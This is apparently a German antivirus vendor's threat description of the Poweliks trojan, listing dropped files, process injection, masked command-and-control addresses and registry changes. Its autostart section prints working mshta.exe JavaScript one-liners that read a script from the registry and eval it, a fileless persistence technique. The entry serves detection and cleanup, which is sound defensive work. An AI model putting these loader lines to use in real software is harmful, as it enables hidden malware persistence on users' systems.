TROJ_POWELIKS.SHS

Verbindet sich mit einer bestimmten Website, um Daten zu versenden und zu empfangen. Löscht sich nach der Ausführung selbst.

Installation

Schleust die folgenden Dateien ein:

• %Temp%\connect
• %Temp%\css__xpYLsn0Nu-Z6jeL2Cwy32OJoaJ356El1VkRN7jzVaLA__YCnszhhK5A_EY83JbV5TTQDQ8TaBjJuml-3XNhDY10o__zNzna5k2Yb5GSoTqKHcaptHOtF-A28gvaO7QRGvNkOs.css
• %Temp%\button_blue_install_up.gif
• %Temp%\Ke61Xmw0RT
• %Temp%\about916766711.html
• %Temp%\output.css
• %Temp%\GNZGd3aOSKSNp.j4qB
• %Temp%\nsj6327.tmp\System.dll
• %AppDataLocal%\b6bee4\18b4a6.bat
• %AppDataLocal%\045e14.lnk
• %AppDataLocal%\d2f4b4.f80c910
• %Application Data%\479b8e\65cd2d.f80c910
• %Start Menu%\Programs\Startup\8452f3.lnk

(Hinweis: %Temp% ist der Windows Ordner für temporäre Dateien, normalerweise C:\Windows\Temp oder C:\WINNT\Temp.. %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT und C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000, XP und Server 2003.. %Start Menu% ist der Ordner 'Startmenü' des aktuellen Benutzers, normalerweise C:\Windows\Profile\{Benutzername}\Startmenü unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Startmenü unter Windows NT und C:\Windows\Startmenü oder C:\Dokumente und Einstellungen\{Benutzername}\Startmenü unter Windows 2000, XP und Server 2003.)

Fügt die folgenden Prozesse hinzu:

• %System%\regsvr32.exe

(Hinweis: %System% ist der Windows Systemordner. Er lautet in der Regel C:\Windows\System unter Windows 98 und ME, C:\WINNT\System32 unter Windows NT und 2000 sowie C:\Windows\System32 unter Windows XP und Server 2003.)

Injiziert sich selbst in die folgenden Prozesse, um speicherresident ausgeführt zu werden:

• %System%\regsvr32.exe

(Hinweis: %System% ist der Windows Systemordner. Er lautet in der Regel C:\Windows\System unter Windows 98 und ME, C:\WINNT\System32 unter Windows NT und 2000 sowie C:\Windows\System32 unter Windows XP und Server 2003.)

Autostart-Technik

Fügt folgende Registrierungseinträge hinzu, um bei jedem Systemstart automatisch ausgeführt zu werden.

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
"" = ""C:\Windows\system32\mshta.exe" javascript:cs9n5fx="CLv";K3g=new%20ActiveXObject("WScript.Shell");ZhsqSQ1u="T";h9pTV=K3g.RegRead("HKEY_CURRENT_USER\software\{random key2}\{random value4}");t7jVKR="Zk";eval(h9pTV);KwfR2="qkMj";"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
"" = ""C:\Windows\system32\mshta.exe" javascript:sNh7fCOP0="NAvncu";zf1=new%20ActiveXObject("WScript.Shell");zie5A="3f";fUBl3=zf1.RegRead("HKEY_LOCAL_MACHINE\software\{random key2}\{random value4}");zHb0QLJ="djdDX2b";eval(fUBl3);YhTY79="WrvCwP8W";"

HKCU\Software\Microsoft\
Windows\CurrentVersion\Run
"" = ""%AppDataLocal%\b6bee4\045e14.lnk""

Andere Systemänderungen

Fügt die folgenden Registrierungsschlüssel hinzu:

HKEY_CURRENT_USER\Software\{random key1}

HKEY_CURRENT_USER\Software\{random key2}

HKEY_LOCAL_MACHINE\Software\{random key2}

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main\FeatureControl

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows\WindowsUpdate\
OSUpgrade

HKEY_USERS\S-1-5-21-2019512041-4230814187-3178073052-1000_CLASSES\{random alphanumeric characters 1}\
shell\open\command

HKEY_USERS\S-1-5-21-2019512041-4230814187-3178073052-1000_CLASSES\.{random alphanumeric characters 2}

Fügt die folgenden Registrierungseinträge hinzu:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows\WindowsUpdate
DisableOSUpgrade = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows\WindowsUpdate\
OSUpgrade
ReservationsAllowed = "0"

HKEY_CURRENT_USER\SOFTWARE\{random key2}
pptv = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)"

HKEY_CURRENT_USER\SOFTWARE\{random key2}
{random value1} = "861"

HKEY_CURRENT_USER\SOFTWARE\{random key2}
{random value2} = "{hash}"

HKEY_CURRENT_USER\SOFTWARE\{random key2}
{random value3} = "{numbers}"

HKEY_CURRENT_USER\SOFTWARE\{random key2}
{random value4} = "{JS scirpt}"

HKEY_LOCAL_MACHINE\SOFTWARE\{random key2}
pptv = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)"

HKEY_LOCAL_MACHINE\SOFTWARE\{random key2}
{random value1} = "861"

HKEY_LOCAL_MACHINE\SOFTWARE\{random key2}
{random value2} = "{hash}"

HKEY_LOCAL_MACHINE\SOFTWARE\{random key2}
{random value3} = "{numbers}"

HKEY_LOCAL_MACHINE\SOFTWARE\{random key2}
{random value4} = "{JS scirpt}"

HKEY_USERS\S-1-5-21-2019512041-4230814187-3178073052-1000_CLASSES\{random alphanumeric characters 1}\
shell\open\command
"' = "C:\Windows\system32\mshta.exe" "javascript:F3drvM="YsAKqRyE";Id1=new ActiveXObject("WScript.Shell");nS94ytVJM="a";jZ9N7G=Id1.RegRead("HKEY_CURRENT_USER\software\{random key2}\{random value4}");ay1Dw="3ydi1U";eval(jZ9N7G);bvFZ9Js="i";""

HKEY_USERS\S-1-5-21-2019512041-4230814187-3178073052-1000_CLASSES\.{random alphanumeric characters 2}
"" = "{random alphanumeric characters 1}"

Andere Details

Verbindet sich mit der folgenden Website, um Daten zu versenden und zu empfangen:

• http://{BLOCKED}.{BLOCKED}.72.90/upload.php
• http://{BLOCKED}.{BLOCKED}.104.147/

Löscht sich nach der Ausführung selbst.